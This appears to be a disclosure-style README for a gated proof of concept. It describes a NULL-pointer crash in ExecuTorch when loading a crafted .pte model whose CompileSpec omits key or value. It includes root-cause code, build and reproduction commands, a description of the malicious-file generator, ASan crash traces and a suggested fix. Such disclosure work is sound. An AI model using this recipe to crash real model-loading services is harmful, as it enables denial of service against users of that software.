EnigmaConsultant's picture
Verified real ASan crash (Minimal + InternalConsistency), negative control, current HEAD a6d812a
12e8ccf verified
|
Raw
History Blame Contribute Delete
14.3 kB
---
license: other
tags:
- security
- vulnerability
- executorch
- model-file
---
# ExecuTorch `.pte` `CompileSpec` NULL-pointer dereference (CWE-476) β€” verified with a real crash
**Status:** gated, private security research PoC. Access requests reviewed manually.
This is a research PoC for the huntr Model File Format Vulnerability program. All
testing was performed locally (local files, no network, no live host).
## Summary
`BackendDelegate::PopulateCompileSpecs()` in `runtime/executor/method.cpp`
(pytorch/executorch) dereferences the FlatBuffers accessors for the
`CompileSpec.key` and `CompileSpec.value` fields without checking them for
`nullptr`. Both fields are declared as **optional** (non-`(required)`) in
`schema/program.fbs`, so a structurally valid `.pte` file is free to omit
either or both of them for any `CompileSpec` entry attached to a delegate.
Loading such a file crashes the process with a NULL-pointer dereference
(SEGV) inside `Program::load_method()` β€” i.e. simply *loading* an untrusted
model that names any registered backend is enough; no inference call is
required, and the crash does not depend on which real backend is present.
This was independently verified today by cloning and building the actual,
current upstream `pytorch/executorch` `main` branch, generating a minimal
crafted `.pte` file with an omitted `CompileSpec.value`, and driving it
through the real, unmodified `Program::load()` β†’ `Program::load_method()` β†’
`Method::init()` β†’ `BackendDelegate::Init()` β†’ `PopulateCompileSpecs()` call
chain under AddressSanitizer. The crash reproduces exactly as predicted.
* Target: `pytorch/executorch`
* Commit verified against: `a6d812a082df57898b8608f56c867140cc9da32c`
(`main`, authored 2026-07-10 β€” the tip of the repo at verification time,
fetched fresh 2026-07-11)
* Vulnerable file: `runtime/executor/method.cpp`
* Vulnerable function: `BackendDelegate::PopulateCompileSpecs()`
* Crash site: `runtime/executor/method.cpp:185`
(`compile_spec_in_program->value()->size()`); the sibling access at
`method.cpp:181` (`compile_spec_in_program->key()->c_str()`) is an
equally-unchecked NULL deref for the `key`-omitted case.
* Schema: `schema/program.fbs`, `table CompileSpec { key: string; value:
[ubyte]; }` β€” neither field carries the `(required)` attribute.
* Reached via the public loader API: `Program::load()` +
`Program::load_method()` (the two calls any ExecuTorch embedder makes to
load a `.pte` file).
## Root cause
```cpp
// runtime/executor/method.cpp, BackendDelegate::PopulateCompileSpecs()
for (size_t j = 0; j < number_of_compile_specs; j++) {
auto compile_spec_in_program = compile_specs_in_program->Get(j);
compile_specs_list[j].key = compile_spec_in_program->key()->c_str(); // L181
compile_specs_list[j].value = {
/*buffer*/ static_cast<void*>(
const_cast<uint8_t*>(compile_spec_in_program->value()->Data())), // L184
/*nbytes*/ compile_spec_in_program->value()->size(), // L185
};
}
```
```
// schema/program.fbs
table CompileSpec {
key: string; // like max_value -- NOT (required)
value: [ubyte]; // like 4, ... -- NOT (required)
}
```
Because `key`/`value` are optional flatbuffer fields, an absent field simply
makes the generated accessor (`key()` / `value()`) return `nullptr` β€” this is
not a malformed/corrupt flatbuffer, it is well-formed per the schema. Neither
accessor's result is null-checked before being dereferenced (`->c_str()`,
`->Data()`, `->size()`), so `Method::init()` SEGVs while initializing any
delegate that carries such a `CompileSpec`.
`PopulateCompileSpecs()` runs for every `BackendDelegate` entry in a
program's `ExecutionPlan.delegates`, for any backend ID the runtime has
registered (`BackendDelegate::Init()`, `method.cpp`), so this is reachable
with any real backend (XNNPACK, CoreML, Vulkan, a custom backend, …) as long
as the crafted delegate's `id` string matches one that's linked into the
runtime.
## Why full FlatBuffers verification does not catch this
ExecuTorch supports two load-time verification modes,
`Program::Verification::Minimal` (default) and
`Program::Verification::InternalConsistency` (runs the full
`flatbuffers::Verifier` over the buffer). **Both were tested and both
crash identically** (see `asan_crash_minimal.txt` and
`asan_crash_internalconsistency.txt`) β€” because an absent *optional* field
is, by definition, something the FlatBuffers Verifier accepts as valid. This
is a semantic/logic bug (CWE-476, missing null check), not a
verification-bypass or malformed-buffer bug, so "run the verifier" is not a
sufficient fix.
## Distinctness
This is a different function, different file region, and different bug
class from other already-reported/already-filed ExecuTorch `.pte` issues in
this operation's backlog:
* Not the XNNPACK delegate constant-data-size-vs-shape heap-overflow
(`backends/xnnpack/runtime/XNNCompiler.cpp`, filed 2026-07-09) β€” that is
an OOB **read** (CWE-125) in a completely different backend-specific
parser.
* Not the ExecuTorch `min_verify`/`Operator.name` OOB read fixed under
`Minimal` verification only β€” this bug reproduces identically under
**full** `InternalConsistency` verification (see above), so it is not the
"skip the Verifier" bug class at all.
* Not CVE-2025-30402 (`method_meta.cpp::calculate_nbytes` integer overflow,
already fixed upstream) β€” unrelated function, unrelated file.
* Not CVE-2025-54950 (missing argument-count validation in
`kernels/prim_ops/*`) β€” unrelated file, unrelated bug shape.
* The companion `FlatTensorDataMap`/`.ptd` `TensorLayout` null-deref
(`extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout()`,
a structurally analogous "optional flatbuffer field dereferenced without
a null check" bug in a different file/table/API) was also confirmed
present in this same commit during this research pass, but is reported
separately/held back to keep this submission to one crash chain; see "Also
observed" below.
## Reproduction
### 1. Build the ExecuTorch core runtime + data loader under ASan
```sh
git clone --depth 1 https://github.com/pytorch/executorch.git
cd executorch
git submodule update --init --depth 1 \
third-party/flatbuffers third-party/json third-party/gflags \
third-party/flatcc backends/xnnpack/third-party/FXdiv
cmake -S . -B build -DCMAKE_BUILD_TYPE=Debug \
-DEXECUTORCH_BUILD_XNNPACK=OFF \
-DEXECUTORCH_BUILD_PTHREADPOOL=OFF \
-DEXECUTORCH_BUILD_CPUINFO=OFF \
-DEXECUTORCH_BUILD_EXTENSION_DATA_LOADER=ON \
-DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build --target executorch extension_data_loader -j
```
### 2. Build the crafted-`.pte` generator and emit `malicious.pte`
```sh
g++ -std=c++17 build_pte.cpp -o build_pte \
-Ibuild/schema/include -I. -Ithird-party/flatbuffers/include
./build_pte malicious.pte
```
`build_pte.cpp` emits a minimal, valid Program: one `ExecutionPlan` named
`"forward"` with one `BackendDelegate{id="TESTBACKEND"}` carrying one
`CompileSpec{}` (both `key` and `value` omitted).
### 3. Build and run the loader harness under ASan
```sh
g++ -std=c++17 -DC10_USING_CUSTOM_GENERATED_MACROS \
-fsanitize=address -g -O0 -fno-omit-frame-pointer harness.cpp -o harness \
-I. -Iruntime/core/portable_type/c10 -Ibuild/include -Ibuild/schema/include \
-Ithird-party/flatbuffers/include \
build/extension/data_loader/libextension_data_loader.a \
build/libexecutorch.a build/libexecutorch_core.a
./harness malicious.pte
```
`harness.cpp` registers a trivial always-available "TESTBACKEND"
`BackendInterface` (so the delegate-init loop in `Method::init()` is
actually entered), then calls the real, unmodified
`FileDataLoader::from()` β†’ `Program::load()` (default `Minimal`
verification) β†’ `Program::load_method("forward", ...)`.
`harness_verify.cpp` is identical except it calls `Program::load()` with
`Program::Verification::InternalConsistency`, to prove the crash survives
full flatbuffers verification.
## Result (real captured output)
### Default (`Minimal`) verification β€” `asan_crash_minimal.txt`
```
[harness] Program::load() ...
[harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1715711==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557d3a175607 bp 0x7fffc2d5dc40 sp 0x7fffc2d5dc30 T0)
==1715711==The signal is caused by a READ memory access.
==1715711==Hint: address points to the zero page.
#0 0x557d3a175607 in flatbuffers::Vector<unsigned char, unsigned int>::size() const .../flatbuffers/vector.h:164
#1 0x557d3a172e4b in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...)
#2 0x557d3a17264a in executorch::runtime::BackendDelegate::Init(...)
#3 0x557d3a164b4c in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971
#4 0x557d3a163e15 in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862
#5 0x557d3a18298a in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399
#6 0x557d3a158c8f in main poc/harness.cpp:86
SUMMARY: AddressSanitizer: SEGV .../flatbuffers/vector.h:164 in flatbuffers::Vector<unsigned char, unsigned int>::size() const
==1715711==ABORTING
```
### Full (`InternalConsistency`) verification β€” `asan_crash_internalconsistency.txt`
Identical SEGV, same crash site, same call chain (only the binary's ASLR
addresses/PIDs differ) β€” proving the flatbuffers `Verifier` does not, and
structurally cannot, catch this:
```
==1717177==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 ...
#0 ... in flatbuffers::Vector<unsigned char, unsigned int>::size() const .../flatbuffers/vector.h:164
#1 ... in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...)
#2 ... in executorch::runtime::BackendDelegate::Init(...)
#3 ... in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971
#4 ... in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862
#5 ... in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399
==1717177==ABORTING
```
### Negative control β€” `negative_control_output.txt` (`build_pte_benign.cpp` / `benign.pte`)
Same harness, same code path, but `CompileSpec{key="max_value",
value=[4,0,0,0]}` (both fields present, well-formed). `PopulateCompileSpecs`
now completes without crashing; the process only fails later, for an
unrelated and expected reason (the minimal test program has no `Chain`s):
```
[harness] Program::load() ...
[harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)...
E 00:00:00.000458 executorch:method.cpp:986] No chains
load_method returned error (no crash): 0x23
EXIT:2
```
This confirms the SEGV is caused specifically by the omitted `CompileSpec`
fields, not by any other aspect of the minimal test program or harness.
## Impact
Loading an untrusted/downloaded `.pte` model file that contains a delegate
(any backend ID the host application has registered) with a `CompileSpec`
missing its `key` and/or `value` field crashes the ExecuTorch runtime with a
NULL-pointer-dereference SEGV during model *load* β€” before any inference is
run, and regardless of which verification mode the embedding application
selects. This is a straightforward denial-of-service against any process
that loads attacker-supplied or attacker-modified `.pte` files (the explicit
threat model of the huntr Model File Format program).
## Also observed (not the subject of this report)
While verifying this bug, the structurally analogous null-deref in
`extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout()`
(`TensorLayout.sizes`/`dim_order` optional fields dereferenced without a
null check, reached via `FlatTensorDataMap::get_tensor_layout()`) was
confirmed still present in source at the same commit
(`a6d812a082df57898b8608f56c867140cc9da32c`) by code inspection, but was
**not** independently re-verified with a fresh execution/crash capture in
this pass (time/scope), so it is intentionally not claimed as verified here.
## Suggested fix
In `PopulateCompileSpecs()`, check `compile_spec_in_program->key() !=
nullptr` and `compile_spec_in_program->value() != nullptr` before
dereferencing (treat an absent `key` as an empty string and an absent
`value` as a zero-length buffer, or reject the program with
`Error::InvalidProgram`), matching the null-safety already applied to most
other optional-field accesses elsewhere in `method.cpp`.
## Files
* `build_pte.cpp` β€” generates `malicious.pte` (the crash-triggering file)
using the real, unmodified flatc-generated `program_generated.h`.
* `malicious.pte` β€” the crafted model file (272 bytes). One `BackendDelegate`
(`id="TESTBACKEND"`), one `CompileSpec` with neither `key` nor `value`.
* `build_pte_benign.cpp` / `benign.pte` β€” negative control (well-formed
`CompileSpec`).
* `harness.cpp` β€” loads a `.pte` via the real runtime under default
(`Minimal`) verification, driving `Program::load` β†’
`Program::load_method` β†’ `Method::init` β†’ `BackendDelegate::Init` β†’
`PopulateCompileSpecs`. Registers a minimal no-op available backend
`"TESTBACKEND"` so the delegate-init loop is entered.
* `harness_verify.cpp` β€” identical, but loads with
`Program::Verification::InternalConsistency` (full flatbuffers
`Verifier`). Proves the crash still occurs under full verification.
* `asan_crash_minimal.txt` β€” captured ASan SEGV output (`Minimal`
verification, real run of `harness.cpp`).
* `asan_crash_internalconsistency.txt` β€” captured ASan SEGV output
(`InternalConsistency` verification, real run of `harness_verify.cpp`).
* `negative_control_output.txt` β€” captured output of `harness.cpp` against
`benign.pte`, showing no crash.
## Source availability
100% open source. `github.com/pytorch/executorch` (BSD-3-Clause).
Vulnerable function: `runtime/executor/method.cpp`,
`BackendDelegate::PopulateCompileSpecs`.